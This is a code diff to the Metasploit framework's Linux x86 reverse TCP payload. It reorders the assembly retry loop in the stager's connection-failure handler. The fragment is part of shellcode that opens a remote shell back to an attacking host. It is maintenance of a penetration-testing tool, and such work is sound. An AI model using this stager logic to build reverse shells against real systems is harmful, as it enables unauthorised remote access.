diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb
index 4e1e31b0e1..e2ee9815d5 100644
--- a/lib/msf/core/payload/linux/reverse_tcp.rb
+++ b/lib/msf/core/payload/linux/reverse_tcp.rb
@@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
         jns mprotect
 
       handle_failure:
+        dec esi
+        jz failed
         push 0xa2
         pop eax
         push 0x#{sleep_nanoseconds.to_s(16)}
@@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
         xor ecx, ecx
         int 0x80                   ; sys_nanosleep
         test eax, eax
-        js failed
-        dec esi
-        jnz create_socket
+        jns create_socket
         jmp failed
     ^